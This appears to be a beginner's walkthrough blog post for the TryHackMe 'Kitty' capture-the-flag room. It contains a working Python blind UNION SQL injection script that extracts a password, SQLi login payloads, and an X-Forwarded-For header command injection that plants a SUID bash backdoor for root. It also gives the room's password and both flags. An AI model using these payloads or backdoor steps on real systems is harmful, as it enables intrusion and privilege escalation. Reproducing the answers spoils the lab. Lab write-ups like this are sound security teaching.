July 4, 2026
Kitty | TryHackMe Walkthrough — A Beginner’s Guide
“Map? Where we are going, we don’t need maps.” — Room tagline

By Hibullahi AbdulAzeez
6 min read
"Map? Where we are going, we don't need maps." — Room tagline
This is my full walkthrough of the Kitty room on TryHackMe. It's rated Medium and focuses heavily on SQL injection — but with a twist. The app actually detects your injection attempts, which forces you to think a bit more carefully. We'll then escalate privileges through a cleverly hidden internal web server.
No maps needed. Let's go.
Overview
Flags to collect: 2 (user + root) Key skills covered: Nmap, Gobuster, SQL injection detection bypass, blind UNION-based SQLi, Python scripting, internal service discovery, HTTP header injection, SUID privilege escalation
Step 1 — Reconnaissance with Nmap
As always, we start by finding out what's running on the machine.
nmap -T4 -n -sC -sV -Pn -p- <machine_IP>nmap -T4 -n -sC -sV -Pn -p- <machine_IP>Flag breakdown:
-T4— aggressive timing (faster scan, still reliable)-n— skip DNS resolution, we don't need hostnames-sC— run default scripts to grab extra info-sV— detect service versions-Pn— don't bother pinging first, just scan (useful when ICMP is blocked)-p-— scan all 65,535 ports
Results:
Port Service Details 22 SSH OpenSSH 80 HTTP Apache web server
Simple attack surface — just SSH and a web app. Everything is going to revolve around that web app, at least initially.
Step 2 — Directory Enumeration with Gobuster
Before clicking around the site manually, let's map out what pages exist. Gobuster will try to find hidden directories and files by brute-forcing common names.
gobuster dir -u http://<machine_IP> -w /usr/share/wordlists/dirb/common.txt -x phpgobuster dir -u http://<machine_IP> -w /usr/share/wordlists/dirb/common.txt -x phpdir— directory brute-forcing mode-x php— also try each entry with a.phpextension, since this looks like a PHP app
Gobuster reveals a login page at /index.php. Let's visit it.
Step 3 — Probing the Login Form for SQL Injection
The site presents a simple login form. Before doing anything fancy, I always try the most basic SQL injection payload first:
Username: ' OR 1=1 -- -
Password: anythingUsername: ' OR 1=1 -- -
Password: anythingWhat this does: The single quote ' closes the username string in the SQL query. OR 1=1 makes the condition always true. -- - comments out the rest of the query, including the password check. If the app is vulnerable and not protected, this logs us in as the first user in the database.
But instead of logging in, we get a message saying SQL injection has been detected and the incident has been logged. Interesting!
Two things this tells us:
- There is some form of SQL injection protection
- The app is logging SQLi attempts — which is a hint for later
So the naive approach is blocked. But we're not done — we just need to be sneakier.
Step 4 — Understanding the App (Register a Test Account)
Before trying to bypass the filter, let's understand how the app behaves normally. I registered a test account, logged in, and found a very minimal dashboard — just a welcome message and a logout button.
This tells me the login is the main attack surface. If we can extract valid credentials through SQLi, we can log in as the target user. The obvious target is the kitty user, since that's the machine's theme.
Step 5 — Bypassing the Filter with a Smarter Payload
Let me think about what the filter might be doing. It likely looks for obvious patterns like ' OR, 1=1, --, etc. The question is: can we craft a payload that achieves the same logical result without triggering those keywords?
Let's try a different approach — instead of trying to bypass authentication entirely, let's try to confirm that our injection is working at all with a payload less likely to trip the alarm:
Username: Test' AND 1=1 -- -
Password: anythingUsername: Test' AND 1=1 -- -
Password: anythingThis payload says: "find a user named 'Test', and if 1=1 (always true)". It's much quieter than OR 1=1 because we're not trying to override authentication logic — we're just testing whether the injection point exists.
Submit this with our test account's username. If the login behaves normally (logs us in), we've confirmed the injection is live and the filter isn't catching AND-based payloads.
We get a successful login! The filter isn't as smart as it first appeared. It's blocking some keywords but not others — which is exactly the weakness we need to exploit.
Step 6 — Extracting the kitty Password via Blind SQL Injection
Now we know the injection works. The goal is to extract the password for the kitty user from the database without triggering detection.
The technique: UNION-based blind SQLi with character-by-character extraction
Here's the core idea:
- A
UNION SELECTlets us append our own query to the original one - We can ask the database: "Does the password start with
a?" - The size of the HTTP response changes depending on whether the answer is yes or no
- We loop through every possible character, check the response size, and build the password one character at a time
This is painstaking to do manually, so we write a Python script to automate it:
import requests
# Characters we'll try for each position of the password
probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
url = 'http://<machine_IP>/index.php'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://<machine_IP>/index.php'
}
result = ''
while True:
for elem in probe:
# Build our injection payload for this character guess
query = (
"' UNION SELECT 1,2,3,4 from siteusers "
"where username = 'kitty' "
"and password like BINARY '{sub}%' -- -"
).format(sub=result + elem)
data = {
'username': query,
'password': '123456'
}
response = requests.post(url, headers=headers, data=data, allow_redirects=True)
# A response of 618 bytes means the character guess was correct
if len(response.content) == 618:
result += elem
print(f'[+] Found so far: {result}')
break
# If we've tried every character and none matched, we're done
if elem == probe[-1]:
print(f'\n[+] Final result: {result}')
exit()import requests
# Characters we'll try for each position of the password
probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
url = 'http://<machine_IP>/index.php'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://<machine_IP>/index.php'
}
result = ''
while True:
for elem in probe:
# Build our injection payload for this character guess
query = (
"' UNION SELECT 1,2,3,4 from siteusers "
"where username = 'kitty' "
"and password like BINARY '{sub}%' -- -"
).format(sub=result + elem)
data = {
'username': query,
'password': '123456'
}
response = requests.post(url, headers=headers, data=data, allow_redirects=True)
# A response of 618 bytes means the character guess was correct
if len(response.content) == 618:
result += elem
print(f'[+] Found so far: {result}')
break
# If we've tried every character and none matched, we're done
if elem == probe[-1]:
print(f'\n[+] Final result: {result}')
exit()Let me break down the key parts of the SQL payload:
UNION SELECT 1,2,3,4— appends a second query. We're selecting dummy values (1,2,3,4) because we need to match the number of columns the original query returns. The exact numbers don't matter here.from siteusers— the table where user accounts are stored (we can infer the table name from context, or enumerate it)where username = 'kitty'— we're targeting the kitty account specificallyand password like BINARY '{sub}%'— the magic part:BINARYforces case-sensitive matching, and % is a wildcard. Solike BINARY 'L%'asks: "does the password start withL?"- -- - — comments out the rest of the original query
When a character guess is correct, the UNION clause returns a row and the response is slightly larger (618 bytes). When it's wrong, no row is returned and the response is shorter. We use that size difference as our oracle.
Run the script and wait. It will iterate through every character at every position until the full password is revealed:
[+] Found so far: L
[+] Found so far: L0
[+] Found so far: L0n
...
[+] Final result: L0ng_Liv3_KittY[+] Found so far: L
[+] Found so far: L0
[+] Found so far: L0n
...
[+] Final result: L0ng_Liv3_KittYPassword extracted: L0ng_Liv3_KittY
Step 7 — SSH Login and User Flag
Now let's put that credential to use. We know there's an SSH server on port 22:
ssh kitty@<machine_IP>ssh kitty@<machine_IP>Password: L0ng_Liv3_KittY
We're in! Let's grab the user flag:
cat ~/user.txt
User Flag: THM{31e606998972c3c6baae67bab463b16a}cat ~/user.txt
User Flag: THM{31e606998972c3c6baae67bab463b16a}Step 8 — Enumerating the System
We're logged in as kitty but we want root. Time to look around and see what's running on this machine that we can abuse.
One of the most useful commands for finding hidden services is ss, which shows active network connections and listening ports:
ss -tulpnss -tulpnFlag breakdown:
-t— TCP sockets-u— UDP sockets-l— only listening sockets-p— show the process using each socket-n— show numbers, not names
The output reveals something interesting: there's a service listening on 127.0.0.1:8080. It's bound to localhost only, which means it's not accessible from outside the machine — only from within.
Port 8080 is typically a web server. Let's find out more about it:
apache2ctl -Sapache2ctl -SThis shows all active Apache virtual hosts. We can see a second Apache instance running on 127.0.0.1:8080, configured by a file called /etc/apache2/sites-enabled/dev_site.conf.
Let's read that config file:
cat /etc/apache2/sites-enabled/dev_site.confcat /etc/apache2/sites-enabled/dev_site.confThis is a development site — separate from the main web app, running internally. Looking at its configuration, we can see how it handles requests. Crucially, the dev site logs the X-Forwarded-For HTTP header. This is a header normally used by proxies to pass along the original client's IP address — but if the app takes this header and passes it unsafely to a shell command or a file, we can inject our own commands into it.
Step 9 — HTTP Header Injection and Privilege Escalation
Here's the attack. The dev site's PHP code reads the X-Forwarded-For header and uses it in an unsafe way — it's passed directly to a shell command without sanitisation. That means we can inject shell commands right into that header.
We'll craft a request using curl with a malicious X-Forwarded-For value. Our injected command will:
- Copy
/bin/bashto/tmp/bckdr - Set the SUID bit on it (
chmod 4755)
A SUID binary runs with the permissions of its owner rather than the person executing it. Since /bin/bash is owned by root, a SUID copy of it will run as root — even when executed by kitty.
curl -sS localhost:8080/index.php \
-d 'password=sleep' \
-H "X-Forwarded-For: ;cp /bin/bash /tmp/bckdr && chmod 4755 /tmp/bckdr;"curl -sS localhost:8080/index.php \
-d 'password=sleep' \
-H "X-Forwarded-For: ;cp /bin/bash /tmp/bckdr && chmod 4755 /tmp/bckdr;"What's happening here:
- We're sending a POST request to the dev site on localhost:8080
- The
X-Forwarded-Forheader contains our injected payload - The semicolons ; break out of whatever the app was doing with the header value and let us run our own commands
cp /bin/bash /tmp/bckdrcopies bash to a world-writable locationchmod 4755 /tmp/bckdrsets the SUID bit, so the copy runs as root
After sending this request, verify the backdoor was created:
ls -la /tmp/bckdrls -la /tmp/bckdrYou should see something like:
-rwsr-xr-x 1 root root ... /tmp/bckdr-rwsr-xr-x 1 root root ... /tmp/bckdrThe s in the permissions confirms the SUID bit is set. Now we execute it with the -p flag, which tells bash to preserve the effective user ID (root) instead of dropping privileges:
/tmp/bckdr -p/tmp/bckdr -pWe now have a root shell!
whoami
# root
cat /root/root.txt
Root Flag: THM{581bfc26b53f2e167a05613eecf039bb}whoami
# root
cat /root/root.txt
Root Flag: THM{581bfc26b53f2e167a05613eecf039bb}Happy hacking! If anything wasn't clear or you got stuck somewhere, drop it in the comments.